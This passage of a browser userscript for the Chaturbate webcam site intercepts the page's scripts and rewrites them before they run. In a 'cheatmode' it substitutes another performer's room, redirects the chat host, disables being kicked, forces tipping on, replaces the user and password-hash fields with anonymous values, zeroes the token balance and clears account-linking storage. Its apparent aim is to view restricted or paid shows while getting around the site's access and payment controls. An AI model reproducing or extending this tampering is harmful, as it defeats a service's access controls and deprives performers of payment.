            document.getElementById("defchat").insertBefore(chatreload,place)}
772
     
773
            if (document.getElementsByTagName('video')[0]){
774
            vidlink=document.getElementsByTagName('video')[0].src;
775
            vid=document.createElement('div');
776
            vid.innerHTML="<a href="+vidlink+" target='_blank'>COPY this link into VLC player.</a><br><br>";
777
            document.getElementById("defchat").insertBefore(vid,place)}}
778
            }
779
            }
780
     
781
    //get saved flashplayer version
782
            function getfversion(){
783
            Fversion=readCookie("CBversion");
784
            if(!Fversion){Fversion=flashplayer}
785
            version="http://chaturbate.com/"+Fversion.substring(Fversion.indexOf("static"));
786
            return version}
787
     
788
    // videobox data
789
            var servers=new Array("","-a","-b");
790
            var server = servers[Math.floor(Math.random()*3)];//0-1-2
791
            var servnr=Math.floor(Math.random()*13)+1;if(servnr==11){servnr=8}// 1 - 13, skip 11 coz it's down
792
     
793
            videodata1='<div id ="defchat"style="float:left;margin-left:10px;margin-top:10px;margin-bottom:10px;border-width:5px;border-style:double;resize:both;overflow:hidden;width: 498px; height: 426px; ">'
794
            +'<object id="movie" type="application/x-shockwave-flash" data="';
795
     
796
            videodata2='" style="visibility: visible;margin-top:0px;margin-bottom:0px;width:100%;height:95%">'
797
            +'<param name="allowScriptAccess" value="always">'
798
            +'<param name="allowFullScreen" value="true">'
799
            +'<param name="quality" value="high">'
800
            +'<param name="wmode" value="opaque">'
801
            +'<param name="id" value="movie">'
802
            +'<param name="FlashVars" value="pid=ladroop&address=edge'
803
            + servnr+server
804
            +'.stream.highwebmedia.com&language=/xml/viewer.xml&mute=0&uid=AnonymousUser&dom=chaturbate.com&pw=anonymous">'
805
            +'</object></div>'
806
     
807
    // shoutbox data
808
            sdata = '<div><br><iframe title="Shoutbox" WIDTH=100% HEIGHT="400" src="http://shoutbox.widget.me/window.html?uid=odrgw" frameborder="0" '
809
            +'scrolling="auto"></iframe><script src="http://shoutbox.widget.me/v1.js" type="text/javascript"></script><br><a href="http://shoutbox.widget.me" '
810
            +'title="Shoutbox Widget">Shout</a><a href="http://shoutbox-tutorials.blogspot.com" title="Shoutbox Tutorials">box</a><br></div>';
811
     
812
    // some cookies
813
            createCookie("u_NxHf","1",1);
814
            createCookie("us_NxHf","1",1);
815
            createCookie("dsmn29","1",1);
816
            createCookie("dsmn26","1",1);
817
            createCookie("dsmn27","1",1);
818
            createCookie("dsmn28","1",1);
819
     
820
            if (!readCookie("show_emoticon_icons")){createCookie("show_emoticon_icons","no",1)}
821
     
822
    //----------------------------------------------------------------------------------------------------------------------------------
823
    // executes !everytime! before a script executes
824
            function do_script2(e) {
825
     
826
    // we will always kill swf storage and earase exisiting storage
827
            if(e.target.innerHTML.indexOf("var mySwfStore = new SwfStore")!= -1){ // check for script , this is swf script
828
     
829
            if(!e.target.id){// already altered ? , then ID is set
830
     
831
            script=e.target.innerHTML;
832
            e.preventDefault();
833
            e.stopPropagation();
834
            e.target.parentNode.removeChild(e.target);
835
     
836
            script=script.replace("function link_accounts()","function link_accounts() {mySwfStore.set('usernames2', '');return false} function lost()");
837
     
838
            scrip=document.createElement('script');
839
            scrip.id="newswfstor";
840
     
841
            scrip.innerHTML=script;
842
            document.getElementsByTagName('body')[0].appendChild(scrip);
843
     
844
            }}
845
     
846
     
847
    // this part does the flash init script , only remove logo if in normal mode
848
            if(e.target.innerHTML.indexOf("HasFlash")!= -1){ // check for script - this is the video init script
849
     
850
            if(!e.target.id){// already altered ? , then ID is set
851
           
852
            script=e.target.innerHTML;
853
            e.preventDefault();
854
            e.stopPropagation();
855
            e.target.parentNode.removeChild(e.target);
856
     
857
            scrip=document.createElement('script');
858
            scrip.id="newvid";
859
     
860
            script=script.replace("http://ccstatic.highwebmedia.com/static/images/flashwatermark.png","");
861
     
862
     
863
     
864
            if (!readCookie("cheatmode")){
865
            scrip.innerHTML=script;
866
            document.getElementsByTagName('body')[0].appendChild(scrip);   
867
            return} // only do the rest if we are in cheatmode , return here if in normal mode
868
     
869
            mode=readCookie("cheatmode").split("&");
870
            preformer=mode[0];
871
            anon=mode[1];
872
            mob=mode[2];
873
            chost=mode[3];
874
     
875
            orgname=document.location.href.split("/")[4];
876
     
877
            var patrn = new RegExp(orgname,"ig");
878
            script=script.replace(patrn,preformer);
879
     
880
            if((anon==1)||(mob==1)){
881
            pos1 = script.indexOf('ProductInstall.swf",');
882
            pos2 = script.indexOf("',",pos1);
883
            script=script.replace(script.substring(pos1,pos2),'ProductInstall.swf",\n            \'AnonymousUser');
884
     
885
            pos1 = script.indexOf("pbkdf2_sha256");
886
            pos2 = script.indexOf("',",pos1);
887
            script=script.replace(script.substring(pos1,pos2),"anonymous");
888
            }
889
     
890
            scrip.innerHTML=script;
891
            document.getElementsByTagName('body')[0].appendChild(scrip);
892
     
893
            }}
894
     
895
    // next only if in cheatmode
896
            if (!readCookie("cheatmode")){return}
897
            mode=readCookie("cheatmode").split("&");
898
            preformer=mode[0];
899
            anon=mode[1];
900
            mob=mode[2];
901
            chost=mode[3];
902
     
903
            orgname=document.location.href.split("/")[4];
904
     
905
            if(e.target.innerHTML.indexOf("function log_presence()")!= -1){ // check for script , this is chat init script
906
     
907
            if(!e.target.id){// already altered ? , then ID is set
908
     
909
            script=e.target.innerHTML;
910
            e.preventDefault();
911
            e.stopPropagation();
912
            e.target.parentNode.removeChild(e.target);
913
     
914
            var patrn = new RegExp(orgname,"ig");
915
            script=script.replace(patrn,preformer);
916
     
917
            script=script.replace("rtmp://chat1",chost);
918
            script=script.replace("rtmp://chat2",chost);
919
     
920
            script=script.replace("allow_tipping: false","allow_tipping: true"); // if original is an exhib.
921
     
922
            script=script.replace("window.location.reload()","return"); // no more kick
923
     
924
            pos1 = script.indexOf("num_users_waiting_for_group_show"); // in case original page got users waiting, if so it will show in chat
925
            script=script.replace(script.substring(pos1,pos1+35),"num_users_waiting_for_group_show: 0");
926
     
927
            if (mob==1){
928
            script=script.replace("force_handler: null","force_handler: html_handler")}
929
     
930
            if(anon==1){
931
            rd="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
932
            username="";
933
            l=5+Math.floor((Math.random()*6)+1);
934
            for (i=0; i<l; i++){
935
            rand = Math.floor(Math.random()*rd.length);
936
            username=username+rd.charAt(rand)}
937
            username = "__anonymous__"+username;
938
     
939
            pos1 = script.indexOf("username: '");
940
            pos2 = script.indexOf("',",pos1);
941
            script=script.replace(script.substring(pos1,pos2),"username: '"+username);
942
     
943
            pos1 = script.indexOf("my_username: '");
944
            pos2 = script.indexOf("',",pos1);
945
            script=script.replace(script.substring(pos1,pos2),"my_username: '");
946
     
947
            pos1 = script.indexOf("token_balance:");
948
            pos2 = script.indexOf(",",pos1);
949
            script=script.replace(script.substring(pos1,pos2),"token_balance: 0")
950
     
951
            pos1 = script.indexOf("pbkdf2_sha256");
952
            pos2 = script.indexOf("',",pos1);
953
            script=script.replace(script.substring(pos1,pos2),"anonymous");
954
            } // end if anon
955
     
956
     
957
            scrip=document.createElement('script');
958
            scrip.id="newchat";
959
     
960
            scrip.innerHTML=script;
961
            document.getElementsByTagName('body')[0].appendChild(scrip);
962
     
963
            }}
964
     
965
    // next room url or else sorted userlist fails
966
            if(e.target.innerHTML.indexOf("nextroomurl")!= -1){ // check for script - this is the nextroom script
967
     
968
            if(!e.target.id){// already altered ? , then ID is set
969
           
970
            script=e.target.innerHTML;
971
            e.preventDefault();
972
            e.stopPropagation();
973
            e.target.parentNode.removeChild(e.target);
974
     
975
            var patrn = new RegExp(orgname,"ig");
976
            script=script.replace(patrn,preformer);
977
     
978
            scrip=document.createElement('script');
979
            scrip.id="newnext";
980
     
981
            scrip.innerHTML=script;
982
            document.getElementsByTagName('body')[0].appendChild(scrip);
983
     
984
            }}
985
            }
986
     
987
    window.addEventListener("DOMContentLoaded", function() { do_script() }, false);
988
     
989
    window.addEventListener('beforescriptexecute', function(e) {do_script2(e) }, false);
990
     
991
    //.user.js